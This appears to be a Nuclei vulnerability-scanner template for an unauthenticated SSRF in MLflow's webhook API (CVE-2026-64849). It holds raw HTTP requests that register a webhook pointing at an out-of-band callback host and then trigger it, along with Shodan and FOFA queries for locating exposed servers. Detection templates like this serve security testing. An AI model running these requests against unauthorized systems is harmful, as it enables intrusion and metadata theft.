MLflow > 3.15.0 contains an information disclosure vulnerability caused by improper validation of webhook URLs allowing attackers to reach internal or cloud metadata services and obtain response details, exploit requires unauthenticated access to the webhook test endpoint.
PoC
id: CVE-2026-64849
info:
name: MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass
author: DhiyaneshDk
severity: critical
description: |
MLflow > 3.15.0 contains an information disclosure vulnerability caused by improper validation of webhook URLs allowing attackers to reach internal or cloud metadata services and obtain response details, exploit requires unauthenticated access to the webhook test endpoint.
impact: |
Attackers can access internal or cloud metadata services and retrieve response status and body, potentially exposing sensitive information.
remediation: |
Upgrade MLflow to a version containing PR #24258 which adds SSRFProtectedHTTPAdapter for connection-time IP validation covering redirect targets and DNS rebinding.
reference:
- https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j
- https://github.com/mlflow/mlflow/pull/24258
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
cvss-score: 9.3
cve-id: CVE-2026-64849
epss-score: 0.1641
epss-percentile: 0.96811
cwe-id: CWE-918
metadata:
max-request: 3
verified: true
shodan-query: http.title:"MLflow"
fofa-query: title="MLflow"
tags: cve,cve2026,mlflow,ssrf,oast,webhook,oss,vkev,kev
variables:
random: "{{rand_text_alpha(8)}}"
http:
- raw:
- |
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{random}}","url":"https://{{interactsh-url}}","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
- |
POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"webhook_id":"{{webhook_id}}","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
- |
DELETE /api/2.0/mlflow/webhooks/{{webhook_id}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_1
words:
- "webhook_id"
- "ACTIVE"
condition: and
- type: word
part: interactsh_protocol
words:
- "http"
extractors:
- type: regex
name: webhook_id
part: body
internal: true
regex:
- '"webhook_id":\s*"([^"]+)"'
group: 1
# digest: 490a00463044022079ef31e1055ad08d723b31bfc1a222893dbe66237f46d4fc21fc851a18dbaa15022002c7a4c82958f38bb25561a89297b388563d71c5efa7fd8c69e160df20007e3c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.